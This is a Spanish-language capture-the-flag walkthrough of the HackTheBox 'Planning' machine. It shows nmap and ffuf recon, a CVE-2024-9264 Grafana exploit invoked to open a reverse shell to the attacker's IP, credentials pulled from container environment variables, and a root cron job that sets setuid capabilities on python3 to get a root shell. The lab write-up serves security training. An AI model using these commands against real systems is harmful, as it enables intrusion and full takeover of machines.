Planning – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Avatar planning


Resumen Link to heading

“Planning” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web, el cual alberga un vhost corriendo una versión de Grafana vulnerable a CVE-2024-9264, una vulnerabilidad la cual permite Remote Code Execution. Esta vulnerabilidad nos permite ganar acceso a la máquina víctima; la cual es en efecto un contenedor Docker. No obstante, este contenedor contiene credenciales almacenadas en sus variables de entorno las cuales son válidas para el host original. Una vez dentro del host real, somos capaces de encontrar un servicio interno en la máquina víctima y credenciales para éste. Este servicio es Crontab UI, el cual nos permite agregar una tarea maliciosa a la máquina víctima, ejecutarla como root y comprometer así el sistema.


User / Usuario Link to heading

Información
Como es común en pentest de la vida real, se empezará la máquina “Planning” con las credenciales para la siguiente cuenta: admin / 0D5oT70Fq13EvB5r

Empezamos con un escaneo con Nmap sobre la máquina víctima buscando por puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.68

Sólo encontramos 2 puertos abiertos: 22 SSH y 80 HTTP.

Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC de Nmap:

❯ sudo nmap -sVC -p22,80 10.10.11.68

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:33 -04
Nmap scan report for 10.10.11.68
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds

Del output del escaneo podemos ver que el puerto 80 HTTP redirige a http://planning.htb.

Agregamos este dominio a nuestro archivo /etc/hosts para que éste pueda ser reconocido por nuestro sistema:

❯ echo '10.10.11.68 planning.htb' | sudo tee -a /etc/hosts

Revisando tecnologías siendo aplicadas por el sitio web con la herramienta WhatWeb encontramos:

❯ whatweb -a 3 http://planning.htb

http://planning.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@planning.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], JQuery[3.4.1], Script, Title[Edukate - Online Education Website], nginx[1.24.0]

Sólo muestra que el sitio web está corriendo Nginx.

Visitando http://planning.htb muestra un sitio acerca de Educación:

Planning 1

Pero no muestra información interesante.

Empezamos entonces a buscar por vhosts usando la herramienta ffuf. Uno de los diccionarios de SecLists funciona, namelist.txt. Además, agregamos la flag -fs 178 para filtrar por respuestas de tamaño 178 y así evadir falsos positivos:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://planning.htb/ -H 'Host: FUZZ.planning.htb' -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 275ms]
:: Progress: [151265/151265] :: Job [1/1] :: 130 req/sec :: Duration: [0:17:55] :: Errors: 0 ::

Encontramos un subdominio: grafana.planning.htb.

Agregamos este nuevo subdominio a nuestro archivo /etc/hosts. De manera que éste ahora se ve como:

❯ tail -1 /etc/hosts

10.10.11.68 grafana.planning.htb planning.htb

Revisamos las tecnologías siendo utilizada por el sitio web con WhatWeb nuevamente. Como es esperado, éste se encuentra corriendo Grafana, más espefíciamente la versión v11.0:

❯ whatweb -a 3 http://grafana.planning.htb

http://grafana.planning.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block], nginx[1.24.0]
http://grafana.planning.htb/login [200 OK] Country[RESERVED][ZZ], Grafana[11.0.0], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], Script[text/javascript], Title[Grafana], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.24.0]

Información
Grafana is a multi-platform open source analytics and interactive visualization web application. It can produce charts, graphs, and alerts for the web when connected to supported data sources.
En corto, Grafana es un sitio para visualizar estadísticas de un sitio web.

Visitando http://grafana.planning.htb muestra, como no es sorpresa, el panel de login para Grafana:

Planning 2

Aquí es que podemos utilizar las credenciales dadas al inicio de la máquina: admin:0D5oT70Fq13EvB5r. Y funcionan, estamos dentro:

Planning 3

Buscando por vulnerabilidades para Grafana en MITRE muestra una catalogada como CVE-2024-9264 para esta versión (v11.0). Esta vulnerabilidad puede permitir un Local File Inclusion o incluso un Remote Code Execution (RCE, o ejecución remota de comandos) a través de una SQL Injection. Buscando por un exploit para esta vulnerabilidad, hallamos este repositorio de Github. Sólo hay 2 prerequisitos:

  1. Un usuario autenticado en Grafana con permisos de Viewer o superiores. Dado que somos el usuario admin asumo que esta condición se cumple.
  2. Un binario de DuckDB debe estar instalado y debe ser accesible a través de la ruta de Grafana. No sabemos si esta condición se cumple, pero podemos intentarlo.

El exploit requiere algunos parámetros tales como la url corriendo Grafana, las credenciales dadas (usuario y contraseña), junto con la IP de atacante y un puerto en escucha para obtener una reverse shell:

❯ python3 poc.py -h

usage: poc.py [-h] --url URL --username USERNAME --password PASSWORD --reverse-ip REVERSE_IP --reverse-port REVERSE_PORT

Authenticate to Grafana and create a reverse shell payload

options:
  -h, --help            show this help message and exit
  --url URL             Grafana URL (e.g., http://127.0.0.1:3000)
  --username USERNAME   Grafana username
  --password PASSWORD   Grafana password
  --reverse-ip REVERSE_IP
                        Reverse shell IP address
  --reverse-port REVERSE_PORT
                        Reverse shell port

Por tanto, primero empezamos un listener con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

y ejecutamos el exploit, enviándonos una reverse shell a nuestra máquina de atacantes:

❯ python3 poc.py --url http://grafana.planning.htb --username 'admin' --password '0D5oT70Fq13EvB5r' --reverse-ip 10.10.16.2 --reverse-port 443

[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 443

Donde 10.10.16.2 es nuestra IP de atacantes y 443 el puerto el cual estábamos previamente en escucha con netcat.

Obtenemos una shell como root en un container de Docker:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.68] 50832
sh: 0: can't access tty; job control turned off
# whoami
root

# hostname
7ce659d667d7

# hostname -I
172.17.0.2

Esto lo podemos confirmar viendo el directorio /, donde hay un archivo .dockerenv:

root@7ce659d667d7:~# ls -la /

total 60
drwxr-xr-x   1 root root 4096 Apr  4 10:23 .
drwxr-xr-x   1 root root 4096 Apr  4 10:23 ..
-rwxr-xr-x   1 root root    0 Apr  4 10:23 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 27  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  340 May 16 01:29 dev
drwxr-xr-x   1 root root 4096 Apr  4 10:23 etc
drwxr-xr-x   1 root root 4096 May 14  2024 home

Dado que el container está corriendo Grafana, si vamos a la documentación de configuración de Grafana, podemos ver que podemos almacenar variables de entorno (env). Por tanto, simplemente tipeamos el comando env en una terminal:

root@7ce659d667d7:~# env

SHELL=/bin/bash
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env

Podemos ver un usuario enzo y una contraseña RioTecRANDEntANT!.

Revisamos con la herramienta NetExec si este usuario y contraseñas son válidos para el servicio SSH:

❯ nxc ssh 10.10.11.68 -u 'enzo' -p 'RioTecRANDEntANT!'

SSH         10.10.11.68     22     10.10.11.68      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11
SSH         10.10.11.68     22     10.10.11.68      [+] enzo:RioTecRANDEntANT!  Linux - Shell access!

Son válidas.

Ergo, logueamos como el usuario enzo en la máquina víctima usando el servicio SSH:

❯ sshpass -p 'RioTecRANDEntANT!' ssh -o stricthostkeychecking=no enzo@10.10.11.68

<SNIP>

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri May 16 03:29:34 2025 from 10.10.16.2
enzo@planning:~$

Podemos extraer la flag de usuario.


Root Link to heading

Si revisamos puertos internos abiertos, podemos ver:

enzo@planning:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:44427                                 0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   4096                                127.0.0.54:53                                    0.0.0.0:*
LISTEN              0                   511                                  127.0.0.1:8000                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:3000                                  0.0.0.0:*
LISTEN              0                   4096                                         *:22                                          *:*

Los puertos 3306 y 33060 son para MySQL, 53 para DNS, y 3000 para Grafana. Pero los puertos 8000 y 44427 son desconocidos.

Podemos revisar con cURL si éstas son páginas web/servicios web internos:

enzo@planning:~$ curl http://127.0.0.1:44427

404: Page Not Found

enzo@planning:~$ curl -I http://127.0.0.1:8000

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
WWW-Authenticate: Basic realm="Restricted Area"
Content-Type: text/html; charset=utf-8
Content-Length: 0
ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Date: Fri, 16 May 2025 03:35:41 GMT
Connection: keep-alive
Keep-Alive: timeout=5

El puerto 8000 parece estar corriendo una aplicación usando Express.

Información
Node.js Express is a lightweight and flexible Node.js web application framework that provides a robust set of features for building web and mobile applications.

Dado que tenemos una conexión en la máquina víctima, cerramos la sesión actual de SSH y creamos un túnel a través de un Local Port Forwarding para tener acceso a este servicio web interno. Convertimos el puerto 8000 de la máquina víctima en nuestro puerto 8000 ejecutando esta vez:

❯ sshpass -p 'RioTecRANDEntANT!' ssh -o stricthostkeychecking=no -L 8000:127.0.0.1:8000 enzo@10.10.11.68

Si visitamos ahora http://127.0.0.1:8000 en un navegador de internet como Firefox nos aparece una ventana de login:

Planning 4

Pero no tenemos credenciales todavía. Las credenciales del usuario enzo tampoco funcionan aquí.

En este punto, para buscar información útil en la máquina víctima, podemos subir LinPEAS (el cual puede ser descargado desde su repositorio de Github). Pasamos el binario a la máquina víctima usando scp y las credenciales del usuario enzo:

❯ sshpass -p 'RioTecRANDEntANT!' scp  linpeas.sh enzo@10.10.11.68:/tmp/linpeas.sh

Una vez hemos transferido el binario a la máquina víctima, le asignamos permisos de ejecución y lo ejecutamos:

enzo@planning:~$ chmod +x /tmp/linpeas.sh

enzo@planning:~$ /tmp/linpeas.sh

<SNIP>
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /opt/crontabs/crontab.db: New Line Delimited JSON text data
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 967, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 6, database pages 16, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
<SNIP>

Encontramos algunos archivos de bases datos de SQLite. Entre ellos tenemos un archivo JSON en el directorio /opt/crontabs llamado crontab.db.

Revisando su contenido (junto con jq -el cual sorprendentemente se encuentra instalado en la máquina víctima- para hacer el output más agradable a la vista) tenemos:

enzo@planning:~$ cat /opt/crontabs/crontab.db | jq

{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

Podemos ver el comando:

/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz

Este comando está creando un backup/respaldo para el container de Grafana, guardándolo en un archivo .zip con contraseña P4ssw0rdS0pRi0T3c para el usuario root.

Probamos con las credenciales root:P4ssw0rdS0pRi0T3c en http://127.0.0.1:8000 (el sitio web interno al cual tenemos acceso gracias al Local Port Forwarding) y funcionan. Estamos dentro:

Planning 5

El sitio web parece estar corriendo Crontab UI, una herramienta para facilitar el manejo de tareas en entornos Linux.

Dado que este sitio parece que administra cronjobs, clickeamos en el botón + New y agregamos un nuevo cronjob. Creamos una simple tarea de prueba la cual debería de crear un archivo en el directorio /tmp:

Planning 6

Un nuevo Job debería de agregarse al final de la página. Clickeamos en el botón Run now de la tarea agregada para ver si ha funcionado:

Planning 7

Luego de clickear en Run now, revisamos el directorio /tmp:

enzo@planning:~$ ls -la /tmp

total 868
drwxrwxrwt 15 root root   4096 May 16 03:53 .
drwxr-xr-x 22 root root   4096 Apr  3 14:40 ..
drwxrwxrwt  2 root root   4096 May 16 01:29 .font-unix
drwxrwxrwt  2 root root   4096 May 16 01:29 .ICE-unix
-rwxrwxr-x  1 enzo enzo 824942 May 16 03:33 linpeas.sh
-rw-r--r--  1 root root      0 May 16 03:53 pwned.txt
<SNIP>

Nuestro archivo ha sido creado. Y su dueño es root. Por ende, estas tareas son ejecutadas por el usuario root.

Finalmente, podemos crear un nuevo cronjob el cual crea una copia del binario python3 ya a la copia creada le asignamos capabilities:

Planning 8

Donde, para la tarea maliciosa, hemos usado el comando:

cp /usr/bin/python3 /tmp/gunzf0x; setcap cap_setuid+ep /tmp/gunzf0x

Similar a como hicimos para la tarea nombrada test, ahora creamos y agregamos una nueva tarea llamada evil-command la cuala debería ser agregada. Clickeamos en Run now y chequeamos el directorio /tmp:

enzo@planning:~$ ls -la /tmp

total 8696
drwxrwxrwt 14 root root    4096 May 16 03:58 .
drwxr-xr-x 22 root root    4096 Apr  3 14:40 ..
-rw-r--r--  1 root root       0 May 16 03:58 3qLRnB3Hnw5Llalt.stderr
-rw-r--r--  1 root root       0 May 16 03:58 3qLRnB3Hnw5Llalt.stdout
drwxrwxrwt  2 root root    4096 May 16 01:29 .font-unix
-rwxr-xr-x  1 root root 8019136 May 16 03:58 gunzf0x
drwxrwxrwt  2 root root    4096 May 16 01:29 .ICE-unix
-rwxrwxr-x  1 enzo enzo  824942 May 16 03:33 linpeas.sh
-rw-r--r--  1 root root       0 May 16 03:53 pwned.txt

Nuestro archivo malicioso está allí.

Dado que este archivo debería de tener las capabilities habilitadas, podemos usar esta copia maliciosa de python3 junto con las capabilities asignadas para elevar privilegios tal como se muestra en GTFOBins:

enzo@planning:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'

# whoami
root

GG. Podemos extraer la flag del usuario root en el directorio /root.

~Happy Hacking